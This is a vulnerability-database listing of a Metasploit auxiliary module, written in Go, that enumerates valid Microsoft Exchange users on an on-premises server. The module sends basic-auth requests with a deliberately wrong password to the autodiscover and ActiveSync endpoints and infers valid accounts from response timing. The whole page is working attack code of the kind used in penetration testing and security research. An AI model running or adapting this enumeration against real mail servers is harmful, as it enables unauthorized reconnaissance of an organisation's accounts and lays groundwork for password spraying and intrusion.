Lucene search

K
metasploitPoptart, jlarose, Vincent Yiu, grimhacker, Nate Power, Nick Powers, clee-r7MSF:AUXILIARY-SCANNER-MSMAIL-ONPREM_ENUM-
HistoryDec 03, 2018 - 4:25 p.m.

On premise user enumeration

2018-12-0316:25:21
poptart, jlarose, Vincent Yiu, grimhacker, Nate Power, Nick Powers, clee-r7
www.rapid7.com
21

On premise enumeration of valid exchange users

//usr/bin/env go run "$0" "$@"; exit "$?"

package main

import (
	"crypto/tls"
	"metasploit/module"
	"msmail"
	"net/http"
	"sort"
	"strconv"
	"sync"
	"time"
)

func main() {
	metadata := &module.Metadata{
		Name:        "On premise user enumeration",
		Description: "On premise enumeration of valid exchange users",
		Authors:     []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
		Date:        "2018-11-06",
		Type:        "single_scanner",
		Privileged:  false,
		References:  []module.Reference{},
		Options: map[string]module.Option{
			"USERNAME":   {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
			"USER_FILE":  {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
		}}

	module.Init(metadata, run_onprem_enum)
}

func run_onprem_enum(params map[string]interface{}) {
	userFile := params["USER_FILE"].(string)
	userName := params["USERNAME"].(string)
	host := params["rhost"].(string)
	threads, e := strconv.Atoi(params["THREADS"].(string))
	if e != nil {
		module.LogError("Unable to parse 'Threads' value using default (5)")
		threads = 5
	}

	if threads > 100 {
		module.LogInfo("Threads value too large, setting max(100)")
		threads = 100
	}

	if userFile == "" && userName == "" {
		module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
		return
	}

	var validUsers []string
	avgResponse := basicAuthAvgTime(host)
	if userFile != "" {
		validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
	} else {
		validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
	}

	msmail.ReportValidUsers(host, validUsers)
}

func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
	limit := threads
	var wg sync.WaitGroup
	queue := make(chan string)

	/*Keep in mind you, nothing has been added to handle successful auths
	  so the password for auth attempts has been hardcoded to something
	  that is not likely to be correct.
	*/
	pass := "Summer2018978"
	internaldomain := msmail.HarvestInternalDomain(host, false)
	url1 := "https://" + host + "/autodiscover/autodiscover.xml"
	url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
	url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
	var urlToHarvest string
	if msmail.WebRequestCodeResponse(url1) == 401 {
		urlToHarvest = url1
	} else if msmail.WebRequestCodeResponse(url2) == 401 {
		urlToHarvest = url2
	} else if msmail.WebRequestCodeResponse(url3) == 401 {
		urlToHarvest = url3
	} else {
		module.LogInfo("Unable to resolve host provided to determine valid users.")
		return []string{}
	}
	var validusers []string
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	for i := 0; i < limit; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			for user := range queue {
				startTime := time.Now()
				msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
				elapsedTime := time.Since(startTime)

				if float64(elapsedTime) < float64(avgResponse)*0.77 {
					module.LogGood(user + " - " + elapsedTime.String())
					validusers = append(validusers, user)
				} else {
					module.LogError(user + " - " + elapsedTime.String())
				}
			}
		}(i)
	}

	for i := 0; i < len(userlist); i++ {
		queue <- userlist[i]
	}

	close(queue)
	wg.Wait()
	return validusers
}

func basicAuthAvgTime(host string) time.Duration {
	internaldomain := msmail.HarvestInternalDomain(host, false)
	url1 := "https://" + host + "/autodiscover/autodiscover.xml"
	url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
	url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
	var urlToHarvest string
	if msmail.WebRequestCodeResponse(url1) == 401 {
		urlToHarvest = url1
	} else if msmail.WebRequestCodeResponse(url2) == 401 {
		urlToHarvest = url2
	} else if msmail.WebRequestCodeResponse(url3) == 401 {
		urlToHarvest = url3
	} else {
		module.LogInfo("Unable to resolve host provided to determine valid users.")
		return -1
	}

	//We are determining sample auth response time for invalid users, the password used is irrelevant.
	pass := "Summer201823904"
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	module.LogInfo("Collecting sample auth times...")

	var sliceOfTimes []float64
	var medianTime float64

	usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
	for i := 0; i < len(usernamelist)-1; i++ {
		startTime := time.Now()
		msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
		elapsedTime := time.Since(startTime)
		if elapsedTime > time.Second*15 {
			module.LogInfo("Response taking longer than 15 seconds, setting time:")
			module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
			return time.Duration(elapsedTime)
		}
		if i != 0 {
			module.LogInfo(elapsedTime.String())
			sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
		}
	}
	sort.Float64s(sliceOfTimes)
	if len(sliceOfTimes)%2 == 0 {
		positionOne := len(sliceOfTimes)/2 - 1
		positionTwo := len(sliceOfTimes) / 2
		medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
	} else if len(sliceOfTimes)%2 != 0 {
		position := len(sliceOfTimes)/2 - 1
		medianTime = sliceOfTimes[position]
	} else {
		module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
	}
	module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
	return time.Duration(medianTime)
}